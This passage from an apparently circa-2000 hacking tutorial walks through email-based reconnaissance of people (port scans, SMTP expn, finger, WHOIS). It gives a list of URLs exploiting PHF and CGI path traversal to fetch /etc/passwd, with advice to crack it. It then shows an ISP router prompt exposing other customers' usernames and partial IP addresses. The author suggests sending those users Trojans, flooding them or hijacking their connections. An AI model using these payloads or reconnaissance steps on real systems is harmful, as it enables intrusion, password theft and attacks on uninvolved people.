  3247. the form of xxx. Status codes start from 1xx to 5xx.I am not sure what the 
  3248. 1xx series signifies as they are rarely used.The 2xx series signify a 
  3249. succssful completion of the HTTP command given.The 3xx series signify errors 
  3250. due to moving of documents.The 4xx series signify errors caused at browser 
  3251. side and finally the 5xx series signify errors at the server side.
  3252.  
  3253. The most common status code that you come across, but may not have ever see 
  3254. is the 200 OK status code.Each time you are able to see a page on the 
  3255. browser successfully, the browser has been sent this status code by the HTTP 
  3256. daemon.
  3257.  
  3258. The most common errors that you might come across and actually see would be 
  3259. the 404 Error---Not Found. This error emssage means that the Url that you 
  3260. tying to access is not found, it has either been moved or has been deleted 
  3261. or the linking of the web pages itself has not been done properly.I can go 
  3262. to the up directory to look for the exact new changed URL.
  3263.  
  3264. ***************
  3265. An email address is pretty much all you need to findout more about a person.
  3266. Let's see how one can gather more information by just knowing the email 
  3267. address.
  3268. Let's take my email address for example,
  3269.  
  3270. ankit@bol.net.in
  3271.  
  3272. Now normally the string after the '@' sign is the domain name of the ISP 
  3273. with which the user is registered.Hence the server of my ISP where you can 
  3274. find info on me would become bol.net.in. So you do a Port scan on bol.net.in 
  3275. but get the error message, Host Not Found.
  3276.  
  3277. Sometimes the string after the '@' sign is not the domain name.Yes the 
  3278. server exists, but is probably behind a firewall and normal users do not 
  3279. have access to it from an untrusted external Network.So you know wxamine the 
  3280. headers of an email sent by me.You see something like the following line in 
  3281. almost all emails sent by me and the delhi1.mtnl.net.in thing is always 
  3282. there.
  3283.  
  3284. Received:  from bol.net.in by delhi1.mtnl.net.in 
  3285. (8.9.1/1.1.20.3/26Oct99-0620AM) id OAA0000001463; Thu, 13 Apr 2000 14:28:46 
  3286. +0530 (IST)
  3287.  
  3288. So you do a Port Scan on delhi1.mtnl.net.in. You find that the following 
  3289. Ports are open:
  3290.  
  3291. 21 FTP
  3292. 25 SMTP
  3293. 79 Finger
  3294. 80 HTTP
  3295. 110 POP
  3296. and more...
  3297.  
  3298. The FTP daemon does not give much info on the users.So let's forget it.So 
  3299. you move on to the SMTP port. Almost all version of Sendmail allow the 
  3300. 'vrfy' and the 'expn' commands.The 'vrfy' commands verfies if a particular 
  3301. email address is valid or not.The 'expn' command expands a particular email 
  3302. address.By that what I mean to say is that it provides additional 
  3303. information on the user owning the supplied email address.
  3304. For example,if we type the following while connected to Port 25, the server 
  3305. might respond with some interesting information on the user.
  3306.  
  3307. expn ankit@bol.net.in
  3308.  
  3309. For more details refer to the Sendmail Help.
  3310. The 'expn' and the 'vrfy' commands are not bugs in Sendmail but the features 
  3311. which were orignally meant to do what they do now.Most ISP's have configured 
  3312. the Sendmail daemon such that it does not provide any info if it encounters 
  3313. these commands.
  3314.  
  3315. Port 79 is by default the Finger Port.Unix users might know Finger as a 
  3316. command which gives more information about any user on the Internet whose 
  3317. email address is known.Unix users can finger a user by simply, typing:
  3318.  
  3319. finger email_address@domain_name.com
  3320.  
  3321. Windows users can use the DOS Telnet Client to telnet to Port 79.
  3322.  
  3323. C:\windows>telnet delhi1.mtnl.net.in 79
  3324.  
  3325. (My ISP has disabled the Finger Port so do not even try..)
  3326.  
  3327. No matter how you finger someone, you will either get an error message 
  3328. saying 'Access Denied' which means that the Finger Port is not open or you 
  3329. will be connected to the host with the Finger Daemon waiting for input.
  3330. If you use a Windows Finger client (SamSpade I think so...) or Finger from 
  3331. Unix then the finger client automatically sends the user name which has to 
  3332. be fingered.But if you follow the Telnet method then when the Finger Daemon 
  3333. prompts for input, you will have to type the Username.For example,
  3334.  
  3335. ankit
  3336.  
  3337. The finger daemon would respond something like(I have inserted comments 
  3338. after \*
  3339.  
  3340. [delhi1.mtnl.net.in]       \* My ISP
  3341.  
  3342. Login name: ankit  In real life: Ankit Fadia   \* My Login Name and my real 
  3343. Name
  3344.  
  3345. Directory: /users/others/ankit     Shell: /bin/ksh     \* The Directory 
  3346. where my .plan and other files are stored and my shell type
  3347.  
  3348. Last login Fri Dec 8 17:04 on ttyp0 from 202.xx.109.38    \* My Last Login 
  3349. Info with last IP
  3350.  
  3351. No Plan.     \* Error message as there is no .plan file in my User directory 
  3352. i.e. users/others/ankit
  3353.  
  3354. When you register with your ISP, You provide them with some info (The form 
  3355. that You fill up??).Now a part of this info  is always shown  whenever 
  3356. someone fingers you.The additional information  like the Home Address and 
  3357. the residence Number, Office address, Office telephone Number etc. are shown 
  3358. or provided only if the .plan file exits. So what exactly is a .plan file?
  3359.  
  3360. Your home directory which is set by the system administrator contains some 
  3361. .plan files which are automatically created when you configure mail clients 
  3362. and other services.It also contains this .plan file which is not created 
  3363. automatically but the user has to create it himself.Sometimes your system 
  3364. administrator might create this file himself.Try to finger yourself and 
  3365. ensure that additional information about you is not displayed.If you find 
  3366. that fingering yourself gives out a lot of private information about you, 
  3367. then you should edit the .plan file or even delete it.
  3368.  
  3369. The finger daemon is rarely running on systems nowdays.Even if it is 
  3370. running, the system administrators configure it to not display any 
  3371. information at all.
  3372. The Finger daemon not only unwantingly display important info on the users 
  3373. but could also be used to get root.If you are real lucky and find an open 
  3374. Finger daemon then I suggest you try the following commands: finger root and 
  3375. finger system.
  3376.  
  3377. Say you do not even know the email address of a person.You only know the 
  3378. domain name he owns.Now you want to find out more about him, what do you do? 
  3379. WHOIS holds the key..it will return the email address of the owner of the 
  3380. domain name and then you can carry out the same normal process.
  3381.  
  3382. Hacking From your Web Browser
  3383.  
  3384. Nowdays, most websites use CGI scripts (or sometimes C scripts) .Now these 
  3385. scripts are located in the /cgi-bin directory. What we want to do is, to 
  3386. download these scripts for further examination or even use these scripts to 
  3387. steal Passwords to access password protected parts of the website.
  3388.  
  3389. So simply put something like the below in the location bar of your browser 
  3390. to access the directory where the scripts are stored.
  3391.  
  3392. ftp://www.hostname.com/cgi-bin
  3393. ftp://www.hostname.com/../cgi-bin
  3394. http://www.hostname.com/cgi-bin
  3395.  
  3396. The  ' ../ ' tells Unix systems to go up one directory.On some systems you 
  3397. should try '../../' instead.
  3398. The most common way to get the password file is to FTP anonymously and check 
  3399. if in the /etc directory access to the passwd(password file) is restricted 
  3400. or not.If it is not restricted then download the file and firstly unshadow 
  3401. it and then crack it.
  3402.  
  3403. Some systems have a file called PHF in the /cgi-bin directory which allow 
  3404. remote access to all files inlcuding the /etc/passwd file. The following are 
  3405. a list of URL's you can try to get the password file:
  3406.  
  3407. http://www.hostname.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  3408. http://www.hostname.com/cgi-bin/php.cgi?/etc/passwd
  3409. http://www.hostname.com/~root
  3410. http://www.hostname.com/cgi-bin/test-cgi?* HTTP/1.0
  3411. http://www.hostname.com/cgi-bin/nph-test.cgi?* HTTP/1.0
  3412. http://www.hostname.com/samples/search/queryhit.html
  3413. http://www.hostname.com/samples/search/webhits.exe
  3414. http://www.hostname.com/_vti_pvt/service.pwd
  3415. http://www.hostname.com/secret/files/default.asp
  3416. ftp://www.hostname.com/etc/passwd
  3417. http://www.hostname.com/cgi-bin/htmlscript?../../../../etc/passwd
  3418. http://www.hostname.com/cgi-bin/view-source?../../../../../../../etc/passwd
  3419.  
  3420. What we want to do is to download the scripts and to examine them as to how 
  3421. they can be used to break the normal sequence.CGI Scripts can be used to 
  3422. Nuke the host and also to mail the password file to anyone we want.
  3423.  
  3424. Post Dial Up Screen Hacking
  3425.  
  3426. The Post Dial Up Screen is the black terminal screen that comes up whenever 
  3427. you connect to a router, which asks for a Username and Password.After 
  3428. authentication, it prompts the user to enter the type of connection i.e. PPP 
  3429. or SLIP.This process occurs whenever you dial into your ISP.(Assuming that 
  3430. you have enabled the option.)
  3431.  
  3432. When most of you connect to the Internet, do not have to go through this 
  3433. Post Dial Up Screen.This is because the 'Bring Up the Post Dial Up Screen' 
  3434. option is not enabled.To enable the Post Dial Up screen,simply follow the 
  3435. following steps:
  3436.  
  3437. 1. Launch Dial Up Networking
  3438. 2. Right Click on Your Connection name and select properties.
  3439. 3. Under the General Tab click on the Configure Button.
  3440. 4. Click on the Options Tab and select, bring up the Dial Up Screen After 
  3441. dialing option.
  3442. 5. Click OK
  3443.  
  3444. So now the next time, when you dial into your ISP, instead of directly 
  3445. verifying the Username and Password and connecting you, the Dial Up 
  3446. Connection will bring up a Black Window titled 'The Post DialUp Screen.'This 
  3447. screen symbolises the fact that we are now connected to the remote router of 
  3448. our ISP where the process of authentication takes place.It will ask for the 
  3449. Username and Password and once verified, we will get the prompt to specify 
  3450. the type of connection.The whole process would be something like:
  3451.  
  3452. User Access Verification
  3453. Username: ankit
  3454. Password:
  3455.  
  3456. delhinas4>
  3457.  
  3458. When this prompt(NOTE: Instead of delhinas4 your ISP may have something else 
  3459. written.) comes, we need to specify the type of connection, we want to 
  3460. establish:PPP or SLIP.
  3461. So typing PPP:
  3462.  
  3463. delhinas4>ppp
  3464.  
  3465. will result in my machine establishing a Point to Point 
  3466. Protocol(PPP)connection with my ISP.
  3467.  
  3468. But we are hackers and we surely do not want to learn how to establish a PPP 
  3469. connection.So let's move on to interesting stuff.Like almost all systems on 
  3470. the Internet, this router prompt too gives us help.So let's see what happens 
  3471. when I ask for help.
  3472.  
  3473. delhinas4>help
  3474. Help may be requested at any point in a command by entering
  3475. a question mark '?'.  If nothing matches, the help list will
  3476. be empty and you must backup until entering a '?' shows the
  3477. available options.
  3478. Two styles of help are provided:
  3479. 1. Full help is available when you are ready to enter a
  3480.    command argument (e.g. 'show ?') and describes each possible
  3481.    argument.
  3482. 2. Partial help is provided when an abbreviated argument is entered
  3483.    and you want to know what arguments match the input
  3484.    (e.g. 'show pr?'.)
  3485.  
  3486. So let me try typing simply, '?'.
  3487.  
  3488. delhinas4>?
  3489. Exec commands:
  3490.   access-enable    Create a temporary Access-List entry
  3491.   access-profile   Apply user-profile to interface
  3492.   clear            Reset functions
  3493.   connect          Open a terminal connection
  3494.   disable          Turn off privileged commands
  3495.   disconnect       Disconnect an existing network connection
  3496.   enable           Turn on privileged commands
  3497.   exit             Exit from the EXEC
  3498.   help             Description of the interactive help system
  3499.   lock             Lock the terminal
  3500.   login            Log in as a particular user
  3501.   logout           Exit from the EXEC
  3502.   mrinfo           Request neighbor and version information from a multicast
  3503.                    router
  3504.   mstat            Show statistics after multiple multicast traceroutes
  3505.   mtrace           Trace reverse multicast path from destination to source
  3506.   name-connection  Name an existing network connection
  3507.   pad              Open a X.29 PAD connection
  3508.   ping             Send echo messages
  3509.   ppp              Start IETF Point-to-Point Protocol (PPP)
  3510.   resume           Resume an active network connection
  3511. --More--                             rlogin           Open an rlogin 
  3512. connection
  3513.   show             Show running system information
  3514.   slip             Start Serial-line IP (SLIP)
  3515.   systat           Display information about terminal lines
  3516.   telnet           Open a telnet connection
  3517.   terminal         Set terminal line parameters
  3518.   traceroute       Trace route to destination
  3519.   tunnel           Open a tunnel connection
  3520.   where            List active connections
  3521.   x28              Become an X.28 PAD
  3522.   x3               Set X.3 parameters on PAD
  3523.  
  3524. Wow!!! I got a whole list of allowed commands and also a single line 
  3525. description of each command.The router that we are connected to provides 
  3526. help on specific commands too.Anyway, let's try some kewl commands which 
  3527. reveal some very very useful info.I have inserted comments, wherever 
  3528. needed.The commands I type begin with the delhinas4> prompt.
  3529.  
  3530. delhinas4>
  3531.  
  3532.  
  3533.  
  3534.  
  3535. mrinfo
  3536. % Timed out receiving response
  3537.  
  3538. [Editor:Well the mrinfo command is supposed to get info from routers, but 
  3539. unfortunately it always times out when I try it on my ISP, so let's try 
  3540. giving the famous systat command.]
  3541.  
  3542. delhinas4>systat
  3543.  
  3544.     Line     User      Host(s)                  Idle Location
  3545.    3 tty 3   tkdutta   Async interface      00:00:05
  3546.    4 tty 4   mmanoj    Async interface      00:01:13
  3547.    6 tty 6   mpshukla  Async interface      00:04:38
  3548.   10 tty 10  chawlaep  Async interface      00:00:01
  3549.   14 tty 14  techshar  Async interface      00:00:00
  3550.   15 tty 15  dscl      Async interface      00:00:34
  3551.   17 tty 17  utility   Async interface      00:00:28
  3552.   19 tty 19  saraswti  Async interface      00:00:07
  3553.   25 tty 25  affvvdel  Async interface      00:12:48
  3554.   26 tty 26  sanjiv3   Async interface      00:00:00
  3555.   27 tty 27  vvs       Async interface      00:00:00
  3556.   28 tty 28  herz1313  Async interface      00:00:00
  3557.   31 tty 31  neccinfo  Async interface      00:00:01
  3558.   32 tty 32  gmmm      Async interface      00:00:07
  3559.   35 tty 35  cebw      Async interface      00:00:00
  3560.   37 tty 37  delhinet  Async interface      00:00:00
  3561.   40 tty 40  digdelhi  Async interface      00:01:14
  3562.   47 tty 47  giansu    Async interface      00:00:06
  3563.   50 tty 50  tafazal   Async interface      00:00:01
  3564.   51 tty 51  translnk  Async interface      00:00:02
  3565.   52 tty 52  procurez  Async interface      00:05:14
  3566.   53 tty 53  triden    Async interface      00:00:05
  3567. --More--                               Line     User      Host(s)            
  3568.        Idle Location
  3569.  
  3570.   56 tty 56  prerna    Async interface      00:00:00
  3571.   58 tty 58  saroj     Async interface      00:03:18
  3572. * 61 tty 61  ankit     idle                 00:00:01
  3573.   68 tty 68  veekay    Async interface      00:00:24
  3574.   70 tty 70  kachi     Async interface      00:00:01
  3575.   74 tty 74  aqmohan   Async interface      00:00:07
  3576.   78 tty 78  mmdutta   Async interface      00:00:00
  3577.   81 tty 81  ks1assoc  Async interface      00:00:00
  3578.   87 tty 87  adinfo    Async interface      00:00:35
  3579.   88 tty 88  anni      Async interface      00:00:00
  3580.   89 tty 89  drrajive  Async interface      00:00:04
  3581. 107 tty 107 orienapp  Async interface      00:00:34
  3582. 109 tty 109 hmsdir    Async interface      00:00:01
  3583. 110 tty 110 anandpro  Async interface      00:00:01
  3584. 112 tty 112 guptalam  Async interface      00:00:12
  3585. 113 tty 113 airtalks  Async interface      00:00:02
  3586. 115 tty 115 yatish    Async interface      00:00:27
  3587. 117 tty 117 ttlnet4   Async interface      00:00:05
  3588. 118 tty 118 dgmodlxr  Async interface      00:00:00
  3589. 120 tty 120 cdacd     Async interface      00:00:00
  3590.  
  3591. The systat command gives us a list of currently logged on users.From the 
  3592. output, I now know their Usernames (and email addresses obviously.)and the 
  3593. Time for which they have been online.But this info is not that useful, so 
  3594. let's try out the 'who' command.Note the '*' preceeding the Username with 
  3595. which I have logged into this router.
  3596.  
  3597. delhinas4>who
  3598.  
  3599. delhinas5>who
  3600.     Line      User       Host(s)              Idle Location
  3601.   14 tty 14   jbagga     Async interface      00:00:00 PPP: 203.xx.248.119
  3602.   15 tty 15   ptat       Async interface      00:03:33 PPP: 203.xx.248.151
  3603.   16 tty 16   dlgrp      Async interface      00:00:00 PPP: 203.xx.248.70
  3604.   19 tty 19   viprirag   Async interface      00:00:02 PPP: 203.xx.248.2
  3605.   22 tty 22   uaedcnd    Async interface      00:00:00 PPP: 203.xx.248.147
  3606.   28 tty 28   entasis    Async interface      00:00:34 PPP: 203.xx.248.140
  3607.   29 tty 29   ehircrc    Async interface      00:00:00 PPP: 203.xx.248.137
  3608.   34 tty 34   najiaero   Async interface      00:10:07 PPP: 203.xx.248.221
  3609.   37 tty 37   amritp     Async interface      00:00:40 PPP: 203.xx.248.50
  3610.   39 tty 39   bagris     Async interface      00:00:00 PPP: 203.xx.248.143
  3611.   40 tty 40   manish11   Async interface      00:00:00 PPP: 203.xx.248.233
  3612.   42 tty 42   sunilg     Async interface      00:00:00 PPP: 203.xx.248.76
  3613.   48 tty 48   dreamtec   Async interface      00:00:20 PPP: 203.xx.248.5
  3614.   50 tty 50   iii111     Async interface      00:00:01 PPP: 203.xx.248.187
  3615.   53 tty 53   azure      Async interface      00:00:00 PPP: 203.xx.248.186
  3616.   55 tty 55   gsubbn     Async interface      00:00:00 PPP: 203.xx.248.83
  3617.   62 tty 62   tubetool   Async interface      00:01:33 PPP: 203.xx.248.169
  3618.   64 tty 64   neratele   Async interface      00:01:10 PPP: 203.xx.248.124
  3619.   65 tty 65   grecy      Async interface      00:00:00 PPP: 203.xx.248.208
  3620.   68 tty 68   ians       Async interface      00:00:55 PPP: 203.xx.248.194
  3621.   70 tty 70   prabal     Async interface      00:00:06 PPP: 203.xx.248.1
  3622.   71 tty 71   kwkicd     Async interface      00:00:08 PPP: 203.xx.248.155
  3623. --More--                               Line      User       Host(s)          
  3624.      Idle Location
  3625.  
  3626.   73 tty 73   seco1      Async interface      00:00:01 PPP: 203.xx.248.230
  3627.   74 tty 74   neelamm    Async interface      00:00:00 PPP: 203.xx.248.32
  3628.   75 tty 75   ukiran     Async interface      00:00:07 PPP: 203.xx.248.53
  3629.   76 tty 76   anandtsg   Async interface      00:00:55 PPP: 203.xx.248.160
  3630.   85 tty 85   avntin     Async interface      00:06:14 PPP: 203.xx.248.126
  3631.   87 tty 87   pnddelhi   Async interface      00:00:00 PPP: 203.xx.248.144
  3632.   88 tty 88   spph       Async interface      00:00:02 PPP: 203.xx.248.108
  3633. * 89 tty 89   ankit      idle                 00:00:00
  3634.   92 tty 92   krsawhny   Async interface      00:00:14 PPP: 203.xx.248.192
  3635.   94 tty 94   kashyaps   Async interface      00:00:13 PPP: 203.xx.248.117
  3636.   95 tty 95   slalklal   Async interface      00:00:00 PPP: 203.xx.248.146
  3637. 100 tty 100  computer   Async interface      00:00:04 PPP: 203.xx.248.228
  3638. 101 tty 101  kanchan1   Async interface      00:00:25 PPP: 203.xx.248.178
  3639. 102 tty 102  kanhya     Async interface      00:00:38 PPP: 203.xx.248.99
  3640. 103 tty 103  dsidc      Async interface      00:00:00 PPP: 203.xx.248.225
  3641. 104 tty 104  nsl        Async interface      00:00:00 PPP: 203.xx.248.152
  3642. 106 tty 106  iconint    Async interface      00:00:00 PPP: 203.xx.248.222
  3643. 113 tty 113  atri       Async interface      00:00:00 PPP: 203.xx.248.85
  3644. 117 tty 117  striker    Async interface      00:00:00 PPP: 203.xx.248.30
  3645. 118 tty 118  coin       Async interface      00:01:01 PPP: 203.xx.248.231
  3646. 120 tty 120  snwadhwa   Async interface      00:00:00 PPP: 203.xx.248.66
  3647. 123 tty 123  prithvib   Async interface      00:00:00 PPP: 203.xx.248.67
  3648. --More--                               Line      User       Host(s)          
  3649.      Idle Location
  3650.  
  3651. 124 tty 124  itssupp    Async interface      00:00:02 PPP: 203.xx.248.93
  3652. 125 tty 125  jukebox    Async interface      00:03:45 PPP: 203.xx.248.44
  3653. 129 tty 129  pwhelan    Async interface      00:00:04 PPP: 203.xx.248.106
  3654. 134 tty 134  kapil1     Async interface      00:00:02 PPP: 203.xx.248.215
  3655. 142 tty 142  infoplex   Async interface      00:00:03 PPP: 203.xx.248.159
  3656. 143 tty 143  tanya74    Async interface      00:00:00 PPP: 203.xx.248.88
  3657. 150 tty 150  kapuras    Async interface      00:00:33 PPP: 203.xx.248.65
  3658. 154 tty 154  mpliwal    Async interface      00:00:46 PPP: 203.xx.248.94
  3659. 155 tty 155  aatishi    Async interface      00:00:00 PPP: 203.xx.248.179
  3660. 156 tty 156  gcdmrc     Async interface      00:00:00 PPP: 203.xx.248.205
  3661. 164 tty 164  mland      Async interface      00:00:00 PPP: 203.xx.248.61
  3662. 168 tty 168  creation   Async interface      00:03:10 PPP: 203.xx.248.55
  3663. 169 tty 169  dgupta     Async interface      00:00:02 PPP: 203.xx.248.29
  3664. 173 tty 173  skylink    Async interface      00:00:04 PPP: 203.xx.248.120
  3665. 175 tty 175  rsystems   Async interface      00:00:01 PPP: 203.xx.248.75
  3666. 183 tty 183  hmpl       Async interface      00:00:00 PPP: 203.xx.248.19
  3667. 185 tty 185  dartinc    Async interface      00:00:13 PPP: 203.xx.248.114
  3668. 187 tty 187  rajive     Async interface      00:00:02 PPP: 203.xx.248.204
  3669. 189 tty 189  clinepi    Async interface      00:00:46 PPP: 203.xx.248.72
  3670. 191 tty 191  sammy      Async interface      01:01:00 PPP: 203.xx.248.42
  3671. 192 tty 192  atrish     Async interface      00:01:47 PPP: 203.xx.248.176
  3672. 202 tty 202  skylink    Async interface      00:00:12 PPP: 203.xx.248.118
  3673. --More--                               Line      User       Host(s)          
  3674.      Idle Location
  3675.  
  3676. 207 tty 207  recom      Async interface      00:00:01 PPP: 203.xx.248.35
  3677. 211 tty 211  pusapoly   Async interface      00:01:52 PPP: 203.xx.248.91
  3678. 212 tty 212  rkglobal   Async interface      00:00:57 PPP: 203.xx.248.36
  3679. 219 tty 219  arajan     Async interface      00:00:03
  3680. 221 tty 221  sudhanju   Async interface      00:00:00 PPP: 203.xx.248.102
  3681. 225 tty 225  kkapahi    Async interface      00:00:03 PPP: 203.xx.248.142
  3682. 226 tty 226  lbsbra     Async interface      00:00:00 PPP: 203.xx.248.183
  3683. 227 tty 227  humra1k    Async interface      00:00:01 PPP: 203.xx.248.64
  3684. 239 tty 239  adcr       Async interface      00:00:08 PPP: 203.xx.248.52
  3685.   Vi2         exhibind   Virtual PPP (Bundle) 00:00:27
  3686.   Vi3         genpr      Virtual PPP (Bundle) 00:09:14
  3687.   Vi4         netcafe    Virtual PPP (Bundle) 00:00:00
  3688.   Vi6         bcddel     Virtual PPP (Bundle) 00:00:00
  3689.   Se6:4       cbidelzo   Sync PPP             00:00:00
  3690.   Se6:5       websityg   Sync PPP             00:00:00
  3691.   Se6:7       genpr      Sync PPP                    -
  3692.   Se6:11      bcddel     Sync PPP                    -
  3693.   Se6:12      exhibind   Sync PPP                    -
  3694.   Se6:14      samair     Sync PPP             00:00:03
  3695.   Se6:19      gosind     Sync PPP             00:00:01
  3696.   Se6:26      netcafe    Sync PPP                    -
  3697.  
  3698.   Interface  User      Mode                     Idle Peer Address
  3699.  
  3700. Now, what was that? Well not only did the 'who' command display the 
  3701. Usernames and the time online, but it also displayed the IP's of all people 
  3702. online.Now all you need to do is send a Trojan or something and start 
  3703. controling the victim's computer.Or maybe try some DOS attacks or even start 
  3704. ping flooding the victim.
  3705. One may also send the disconnect string to the victim's modem to disconnect 
  3706. him or maybe even Hijack his connection.We will learn about this in a later 
  3707. issue.
  3708.  
  3709. Usually the systat and the who command 'who' command show display the same 
  3710. results, but on my ISP, they brought about different varied results.
  3711. Another valuable command is the 'show' command which when used with the 
  3712. 'version' parameter displays the version of the OS running on the remote 
  3713. Router
  3714. In this case I find that my ISP has Cisco Routers running the Cisco OS.
  3715. Now any hacker can easily look for a hole in this particular version of OS 
  3716. running on the Router and get root previledges.
  3717.  
  3718. delhinas4>show version
  3719.  
  3720. Cisco Internetwork Operating System Software
  3721. IOS (tm) 5300 Software (C5300-I-M), Version 11.3(9)T,  RELEASE SOFTWARE 
  3722. (fc1)
  3723. Copyright (c) 1986-1999 by cisco Systems, Inc.
  3724. Compiled Thu 08-Apr-99 10:54 by pwade
  3725. Image text-base: 0x60008920, data-base: 0x60550000
  3726.  
  3727. ROM: System Bootstrap, Version 11.2(9)XA, RELEASE SOFTWARE (fc2)
  3728. BOOTFLASH: 5300 Software (C5300-D-M), Version 11.3(9.2)T,  MAINTENANCE 
  3729. INTERIM SOFTWARE
  3730.  
  3731. delhinas4 uptime is 7 weeks, 1 day, 7 hours, 52 minutes
  3732. System restarted by power-on
  3733. System image file is "flash:c5300-i-mz_113-9_T.bin", booted via flash
  3734.  
  3735. cisco AS5300 (R4K) processor (revision A.32) with 32768K/16384K bytes of 
  3736. memory.
  3737. Processor board ID 11494401
  3738. R4700 processor, Implementation 33, Revision 1.0 (512KB Level 2 Cache)
  3739. Channelized E1, Version 1.0.
  3740. Bridging software.
  3741. X.25 software, Version 3.0.0.
  3742. Primary Rate ISDN software, Version 1.1.
  3743. Backplane revision 2
  3744. Manufacture Cookie Info:
  3745. EEPROM Type 0x0001, EEPROM Version 0x01, Board ID 0x30,
  3746. --More--                            Board Hardware Version 1.64, Item Number 
  3747. 800-2544-2,
  3748. Board Revision B0, Serial Number 11494401,
  3749. PLD/ISP Version 0.0, Manufacture Date 8-Dec-1998.
  3750. 1 Ethernet/IEEE 802.3 interface(s)
  3751. 1 FastEthernet/IEEE 802.3 interface(s)
  3752. 31 Serial network interface(s)
  3753. 120 terminal line(s)
  3754. 4 Channelized E1/PRI port(s)
  3755. 128K bytes of non-volatile configuration memory.
  3756. 8192K bytes of processor board System flash (Read/Write)
  3757. 4096K bytes of processor board Boot flash (Read/Write)
  3758.  
  3759. Configuration register is 0x2102
  3760.  
  3761. The show command has some very useful paramters which can be used to get a 
  3762. lot of info.To get an entire list of parameters and a single line 
  3763. description, type:
  3764.  
  3765. delhinas4>show ?
  3766.   WORD           Flash device information - format <dev:>[partition]
  3767.   bootflash      Boot Flash information
  3768.   calendar       Display the hardware calendar
  3769.   clock          Display the system clock
  3770.   context        Show context information
  3771.   dialer         Dialer parameters and statistics
  3772.   history        Display the session command history
  3773.   hosts          IP domain-name, lookup style, nameservers, and host table
  3774.   isdn           ISDN information
  3775.   location       Display the system location
  3776.   modem          Modem Management or CSM information
  3777.   modemcap       Show Modem Capabilities database
  3778.   ppp            PPP parameters and statistics
  3779.   rmon           rmon statistics
  3780.   sessions       Information about Telnet connections
  3781.   snmp           snmp statistics
  3782.   tacacs         Shows tacacs+ server statistics
  3783.   tdm            TDM connection information
  3784.   terminal       Display terminal configuration parameters
  3785.   traffic-shape  traffic rate shaping configuration
  3786.   users          Display information about terminal lines
  3787.   version        System hardware and software status
  3788. --More--                           
  3789. The following are the results that I get when I try out the kewl parameters 
  3790. of the show command.
  3791.  
  3792. delhinas4>show calendar
  3793. 16:19:06 UTC Sun Apr 16 2000
  3794.  
  3795. delhinas4>show hosts
  3796. Default domain is bol.net.in
  3797. Name/address lookup uses domain service
  3798. Name servers are 203.xx.243.70, 203.xx.227.70
  3799.  
  3800. Host                     Flags      Age Type   Address(es)
  3801.  
  3802. delhinas4>show modem
  3803.  
  3804.         Avg Hold     Inc calls     Out calls    Busied   Failed    No     
  3805. Succ
  3806.   Mdm     Time      Succ   Fail   Succ   Fail    Out      Dial   Answer   
  3807. Pct.
  3808.   1/0   00:10:43    1375    375      0      0       0        0     125     
  3809. 78%
  3810.   1/1   00:10:52    1392    370      0      0       0        2     126     
  3811. 79%
  3812. * 1/2   00:11:36    1388    329      0      0       0        0     100     
  3813. 80%
  3814. * 1/3   00:12:19    1347    328      0      0       0        0     114     
  3815. 80%
  3816.   1/4   00:12:34    1326    334      0      0       0        2     101     
  3817. 79%
  3818. * 1/5   00:11:30    1375    341      0      0       0        1      85     
  3819. 80%
  3820.   1/6   00:12:26    1358    326      0      0       0        3      94     
  3821. 80%
  3822. * 1/7   00:11:20    1402    322      0      0       0        1      96     
  3823. 81%
  3824. * 1/8   00:11:26    1388    335      0      0       0        1     107     
  3825. 80%
  3826.   1/9   00:13:05    1328    313      0      0       0        3     111     
  3827. 80%
  3828.   1/10  00:10:59    1402    336      0      0       0        0     107     
  3829. 80%
  3830.   1/11  00:12:31    1349    323      0      0       0        1     115     
  3831. 80%
  3832.   1/12  00:13:12    1303    309      0      0       0        6      96     
  3833. 80%
  3834. * 1/13  00:12:11    1339    337      0      0       0        2     103     
  3835. 79%
  3836. * 1/14  00:11:08    1398    337      0      0       0        2     103     
  3837. 80%
  3838.   1/15  00:12:28    1328    342      0      0       0        3      96     
  3839. 79%
  3840. * 1/16  00:11:18    1416    320      0      0       0        2      96     
  3841. 81%
  3842.   1/17  00:11:41    1118    275      0      0       0        1      84     
  3843. 80%
  3844. * 1/18  00:12:03    1324    352      0      0       0        2     106     
  3845. 78%
  3846.   1/19  00:11:29    1369    371      0      0       0        1     120     
  3847. 78%
  3848.   1/20  00:11:25    1323    372      0      0       0        2     109     
  3849. 78%
  3850. --More--                             1/21  00:10:40    1431    340      0    
  3851.    0       0        2     111     80%
  3852.   1/22  00:12:12    1343    329      0      0       0        3     101     
  3853. 80%
  3854.   1/23  00:11:40    1363    330      0      0       0        0     102     
  3855. 80%
  3856. * 1/24  00:12:22    1340    317      0      0       0        0     113     
  3857. 80%
  3858. * 1/25  00:11:36    1383    348      0      0       0        3     128     
  3859. 79%
  3860. * 1/26  00:14:09    1297    294      0      0       0        1      99     
  3861. 81%
  3862. * 1/27  00:10:25    1436    359      0      0       0        1     103     
  3863. 80%
  3864.   1/28  00:11:08    1411    331      0      0       0        1      95     
  3865. 80%
  3866.   1/29  00:10:25    1438    343      0      0       0        0      99     
  3867. 80%
  3868. * 1/30  00:10:35    1443    352      0      0       0        2     104     
  3869. 80%
  3870. * 1/31  00:11:06    1434    325      0      0       0        0     108     
  3871. 81%
  3872.   1/32  00:11:30    1379    358      0      0       0        0     122     
  3873. 79%
  3874.   1/33  00:11:04    1406    345      0      0       0        2     107     
  3875. 80%
  3876. * 1/34  00:12:38    1321    338      0      0       0        0     105     
  3877. 79%
  3878.   1/35  00:12:14    1346    326      0      0       0        2     104     
  3879. 80%
  3880. * 1/36  00:11:13    1400    333      0      0       0        0     101     
  3881. 80%
  3882.   1/37  00:11:52    1338    363      0      0       0        1      99     
  3883. 78%
  3884.   1/38  00:13:19    1262    322      0      0       0        0     113     
  3885. 79%
  3886. * 1/39  00:11:39    1366    341      0      0       0        2      93     
  3887. 80%
  3888.   1/40  00:10:34    1380    396      0      0       0        0     122     
  3889. 77%
  3890.   1/41  00:10:36    1417    356      0      0       0        0     115     
  3891. 79%
  3892.   1/42  00:11:16    1404    306      0      0       1        3      95     
  3893. 82%
  3894.   1/43  00:11:43    1418    326      0      0       1        1     106     
  3895. 81%
  3896. --More--                             1/44  00:11:25    1347    367      0    
  3897.    0       1        2     105     78%
  3898.   1/45  00:11:22    1371    362      0      0       1        0     111     
  3899. 79%
  3900. * 1/46  00:12:08    1326    340      0      0       1        1      92     
  3901. 79%
  3902.   1/47  00:11:47    1365    358      0      0       1        1     111     
  3903. 79%
  3904. * 1/48  00:11:35    1359    341      0      0       0        2      98     
  3905. 79%
  3906.   1/49  00:11:12    1376    359      0      0       0        2      99     
  3907. 79%
